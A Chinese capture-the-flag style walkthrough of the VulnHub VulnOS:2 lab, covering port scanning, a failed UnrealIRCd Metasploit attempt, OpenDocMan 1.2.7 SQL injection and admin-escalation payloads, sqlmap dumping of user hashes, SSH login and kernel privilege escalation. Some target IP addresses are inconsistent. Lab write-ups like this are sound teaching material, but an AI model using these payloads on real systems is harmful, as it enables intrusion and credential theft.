VulnHub靶场-VulnOS:2

1.环境准备

下载地址:VulnOS: 2 ~ VulnHub

前言:由于我们下载的靶场是vdi文件,而我使用的是虚拟机,我们需要安装VirtualBox将vdi文件转换成虚拟机的vmdk文件vdi转vmdk VirtualBox与VMware硬盘格式转换及使用方法-CSDN博客

虚拟机:kali(192.168.26.128)(Nat模式)

靶机:Nat模式

2.渗透测试

信息收集
主机探测
nmap -sP 192.168.26.0/24

得知靶机的ip地址:192.168.26.140 

 也可以使用arp-scan -l 的命令

端口探测
nmap -sS -sV -p- 192.168.26.140

发现此ip开放22、80以及6667端口

在网上找相关端口漏洞,看是否能够利用,

漏洞利用尝试(6667)

进入msfconsole模式

search unreal_ircd_3281_backdoor

  

 用命令 use 0 模块尝试进行攻击

提示没有设置payload,那么我们就需要手动输入payload

网上找找相关payload,并且设置好攻击机ip,也就是kali的ip地址

set payload cmd/unix/reverse_perl

下面显示会话没有被创建 ,看看别人的WP,发现没有对此6667端口渗透的,那就只能看看80端口

  

漏洞探测(80)

访问该IP地址,出现一大段英文,看看翻译

VulnOS 是一系列脆弱的操作系统,以虚拟图像的形式包装,用于提高渗透测试技能

这是一台易受攻击的服务器。切勿在生产环境中使用此虚拟机

测试服务器上的公司网站... 获取系统根目录并读取最终标志

提示我们测试服务器上的公司网站,我们点进去,出现JABC

目录扫描
dirb http://192.168.26.160/jabc

在目录扫描的时候扫描到robots.txt文件,然后访问出现了一个登录框的接口,但是不能进行利用,

回到刚开始的界面,一般这种情况有两种思路,一种是目录爆破,查看下有木有其他的能访问的目录。还有一种是F12查看下js代码,有些注释可能会有帮助。

这边我们先F12 看下:出现4个地址,分别对应着页面4个导航栏模块

每个跳转页面都没啥信息,对主页外的其他3个页面都F12,最终在http://192.168.20.130/jabc/?q=node/7 下发现一些有用的提示:

大体内容为:有关我们产品的详细视图和文档,请访问服务器上的文档平台/jabcd0cs/ ,并且可以用guest/guset进行登录。

下面我们访问下 http://192.168.20.140/jabcd0cs/

访问完之后出现一个登录框的接口,我们试试用上面给的信息guest/guest登录

下面是登录成功界面

漏洞利用(OpenDocMan v1.2.7)

网上找一个看看有没有服务器的漏洞可以利用,我们先尝试用msf模块利用

kali输入msfconsole,进入msf6模式,搜索一下该漏洞,下载一下 1.2.7 漏洞利用的payload

接下来将32075.txt复制到本地,查看下内容:

  

cp /usr/share/exploitdb/exploits/php/webapps/32075.txt .

 添加权限并查看内容

 

可以发现,add_value参数有2个漏洞

存在:CVE-2014-1945, CVE-2014-1946

1)CVE-2014-1945:SQL注入

该漏洞是因为/ajax_udf.php脚本中存在add_value对HTTP GET参数请求验证不充分导致存在的漏洞。

sql 注入payload:

http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9

2)CVE-2014-1946:访问控制不当

由于在更新用户配置文件时/signup.php脚本中允许的操作验证不足,导致远程身份验证的攻击者可以将管理权限分配给当前帐户并获得对应用程序的完全控制权限。

payload:

<form action="http://[host]/signup.php" method="post" name="main">
<input type="hidden" name="updateuser" value="1">
<input type="hidden" name="admin" value="1">
<input type="hidden" name="id" value="[USER_ID]">
<input type="submit" name="login" value="Run">
</form>

这边先构造sql注入链接:

http://192.168.26.140/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9

然后sqlmap跑一下:

爆库

sqlmap -u "http://192.168.26.140/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9" --dbs

 

爆表

可以发现add_value参数存在sql注入漏洞,也跑出6个库,接下来dump下我们网站的库数据jabcd0cs,看下库里面的表:

sqlmap -u "http://192.168.26.140/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9" --level=3 -risk=3 -D jabcd0cs --tables

爆字段名

sqlmap -u "http://192.168.26.140/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9" --level=3 -risk=3 -D jabcd0cs -T odm_user --columns

 爆数据

sqlmap -u "http://192.168.26.140/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9" --level=3 -risk=3 -D jabcd0cs -T odm_user --dump

 

在odm_user表中发现了username和password的字段,guest/guest就是提示给的游客账户,接下来尝试解密webmin用户的密码,看上去是md5,去somd5尝试解密:

得到webmin的密码---webmin1980

因为之前也看到开放了22端口的ssh服务,这边就用ssh尝试用

webmin/webmin1980 进行登录:

ssh webmin@192.168.26.140

 

成功获得网站的权限

权限提升 

按照之间情况一样,我们依旧想知道系统内核版本,以及系统的一些信息

uname -a
cat /etc/**-release

内核版本为:3.13.0-24-generic

searchsploit搜索下有无符合该版本的提权漏洞:

发现有个可以提权的exp,接下来就是先将exp下载到本地,然后上传靶机,最后编译执行就可以啦。

用python开启一个http服务端,让靶机可以下载到exp

将exp上传靶机:

我们要将exp上传到tmp临时目录,所以我们还要了解当前目录

 编译成功如下

 接下来执行该文件就行了

可以看到,获得到root权限,顺便找个flag

 

总结 

刚开始还以为6667端口能够进行漏洞利用,但是后面发现利用不了,转成探测网站的漏洞。对于探测网站的漏洞,我们要注意它的网页源代码查看提示,查找相关的漏洞进行exp的下载,这里考虑到的是sql注入的漏洞,我们用sqlmap爆破即可,基本权限提升套路都是:下载exp-->>上传exp-->>编译-->>执行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/396555.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【中等】 猿人学web第一届 第2题 js混淆 动态cookie 1

目录 调试干扰Hook Function 加密参数定位hook Cookie AST 解混淆字符串解密还原解密函数AST 配合解密函数还原字符串 ASCII 编码字符串还原字符串相加花指令(对象)剔除无用代码虚假 if剔除无引用代码剔除无引用的对象数值还原 switch 还原完整的 AST 代码代码注意 还原加密 请…

pygame小游戏

代码存在一些bug&#xff0c;感兴趣可自行修改&#xff0c;游戏运行后玩法与吃金币游戏类似。&#xff08;代码及结果比较粗糙&#xff0c;仅供参考&#xff09; 注&#xff1a;&#xff08;图片、音乐、音效文件老是上传上传不上&#xff0c;想要可私&#xff0c;也可以自己找…

如何在银河麒麟操作系统上搭建 Electron (含 Electron 打包指南)

本次教程所用版本 Eletron版本&#xff1a;31.3.1 Electron-packager版本&#xff1a;17.1.2 VScode版本&#xff1a;1.92.0 Node版本&#xff1a;18.19.0 npm版本&#xff1a;10.2.3 前言&#xff1a; 随着跨平台应用开发的需求日益增长&#xff0c;Electron 和 Qt 成为…

Midjourney入门-提示词基础撰写与公式

​ 前言 在前几篇教程里我们已经可以初步使用Midjourney进行出图了。 包括也了解了Midjourney的指令与参数。 但如果你想用Midjourney去生成各种各样高质量的图片&#xff0c; 并且生成的图片是你想要的画面内容&#xff0c;也就是更好控制生成图片的画面内容与风格&#xf…

书生大模型实战营闯关记录----第八关:书生大模型全链路开源开放体系

书生大模型全链路开源开放体系 一、概述 书生大模型&#xff0c;即InternLM系列模型&#xff0c;是由上海人工智能实验室书生团队开发的一系列大语言模型。这些模型以其强大的功能而著称&#xff0c;涵盖了从基础的语言理解到复杂的数学解题和图文创作等多个领域。 发展历程…

【每日面经】快手面经

ConcurrentHashMap和HashMap的区别&#xff1f;使用场景&#xff1f; 线程安全性 concurrentHashMap是线程安全的&#xff0c;HashMap不是线程安全的锁机制 ConcurrentHashMap采用的是分段锁&#xff08;Sagment&#xff09;机制&#xff0c;降低所得粒度提高了并发性能 Curr…

4章4节:临床数据科学中如何用R来进行缺失值的处理

在临床科研中,由于失访、无应答或记录不清等各种原因,经常会遇到数据缺失的问题。本文将深入探讨医学科研中数据缺失的成因、分类、影响以及应对方法,结合R语言的实际应用,为医学研究人员提供全面的解决方案。 一、认识缺失数据 其实,很多医学的纵向研究因获取数据资料时…

38.【C语言】指针(重难点)(C)

目录: 8.const 修饰指针 *修饰普通变量 *修饰指针变量 9.指针运算 *指针或-整数 *指针-指针 *指针关系运算 往期推荐 承接上篇37.【C语言】指针&#xff08;重难点&#xff09;&#xff08;B&#xff09; 8.const 修饰指针 const 全称 constant adj.不变的 *修饰普通变量 #…

java.lang.NoClassDefFoundError: ch/qos/logback/core/util/StatusPrinter2

1、问题 SpringBoot升级报错&#xff1a; Exception in thread "main" java.lang.NoClassDefFoundError: ch/qos/logback/core/util/StatusPrinter2 类找不到&#xff1a; Caused by: java.lang.ClassNotFoundException: ch.qos.logback.core.util.StatusPrinter22、…

HDFS写入数据的流程图

1.客户端向namenode发送请求&#xff0c;请示写入数据 2.namenode接受请求后&#xff0c;判断这个用户是否有写入权限&#xff0c;如果不具备直接报错&#xff1b;如果有写入权限&#xff0c;接着判断在要写入的目录下是否已经存在这个文件&#xff0c;如果存在&#xff0c;直…

PHP语言特性漏洞汇总【万字详解】

文章目录 任意文件下载PHP弱类型比较字符比较绕过代码示例过程 SHA1比较绕过MD5比较绕过SESSION比较绕过STRCMP比较绕过科学计算法绕过概念复现复现2 json_decode&#xff08;&#xff09;绕过概念源码分析 ereg绕过概念复现复现2 array_search强相等绕过概念复现 文件包含生成…

螺旋矩阵 | LeetCode-59 | LeetCode-54 | 分类讨论

&#x1f64b;大家好&#xff01;我是毛毛张! &#x1f308;个人首页&#xff1a; 神马都会亿点点的毛毛张 &#x1f383;分类不好&#xff0c;这道题就做不出来&#xff01;&#x1f388; &#x1f4cc;LeetCode链接&#xff1a;59. 螺旋矩阵 II &#x1f4cc;LeetCode链接…

Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通

Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通 契机 ⚙ 2.6的小钢炮可以输入视频了&#xff0c;我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题&#xff0c;pip install flash_attn也无法安装&#xff0c;因为强制依赖cuda。主要解决的就是这个问题&#xff0c;还…

移动端上拉分页加载更多(h5,小程序)

1.h5,使用原生方式监听页面滚动上拉分页加载更多 <template><div></div> </template><script> export default {data() {return {loadflag: true,maxpages: 0, //最大页码currentpage: 0, //当前页listData: [],config: {page: 1,pageSize: 15,…

Netty技术全解析:DelimiterBasedFrameDecoder类深度解析

❃博主首页 &#xff1a; 「码到三十五」 &#xff0c;同名公众号 :「码到三十五」&#xff0c;wx号 : 「liwu0213」 ☠博主专栏 &#xff1a; <mysql高手> <elasticsearch高手> <源码解读> <java核心> <面试攻关> ♝博主的话 &#xff1a…

Java中等题-交错字符串(力扣)

给定三个字符串 s1、s2、s3&#xff0c;请你帮忙验证 s3 是否是由 s1 和 s2 交错 组成的。 两个字符串 s 和 t 交错 的定义与过程如下&#xff0c;其中每个字符串都会被分割成若干 非空 子字符串 &#xff1a; s s1 s2 ... snt t1 t2 ... tm|n - m| < 1交错 是…

AI入门指南(二):算法、训练、模型、大模型是什么?

文章目录 一、前言二、算法是什么&#xff1f;概念实际应用 三、训练是什么&#xff1f;概念实际应用 四、模型是什么&#xff1f;概念实际应用小结 五、大模型是什么&#xff1f;概念大模型和小模型有什么区别&#xff1f;大模型分类实际应用 六、总结七、参考资料 一、前言 …

37.【C语言】指针(重难点)(B)

目录&#xff1a; 5.疑问解答&#xff1a;指针的解引用 6.指针或-整数 7.特殊类型*void指针 承接上篇19.【C语言】指针&#xff08;重难点&#xff09;&#xff08;A&#xff09; 5.疑问解答&#xff1a;指针的解引用 观察下列代码产生的现象 #include <stdio.h> int …

代码随想录算法训练营day39||动态规划07:多重背包+打家劫舍

多重背包理论 描述&#xff1a; 有N种物品和一个容量为V 的背包。 第i种物品最多有Mi件可用&#xff0c;每件耗费的空间是Ci &#xff0c;价值是Wi 。 求解将哪些物品装入背包可使这些物品的耗费的空间 总和不超过背包容量&#xff0c;且价值总和最大。 本质&#xff1a; …

yolov8旋转目标检测部署教程(附代码c++/python)

为了编写一个详细的YOLOv8旋转目标检测ONNX部署教程&#xff0c;我们需要考虑几个关键点&#xff1a;模型转换为ONNX格式、ONNX模型的部署以及后处理逻辑。由于YOLOv8本身还未发布&#xff0c;我们将基于现有的知识和技术来进行推断。 以下是部署YOLOv8旋转目标检测模型到ONNX…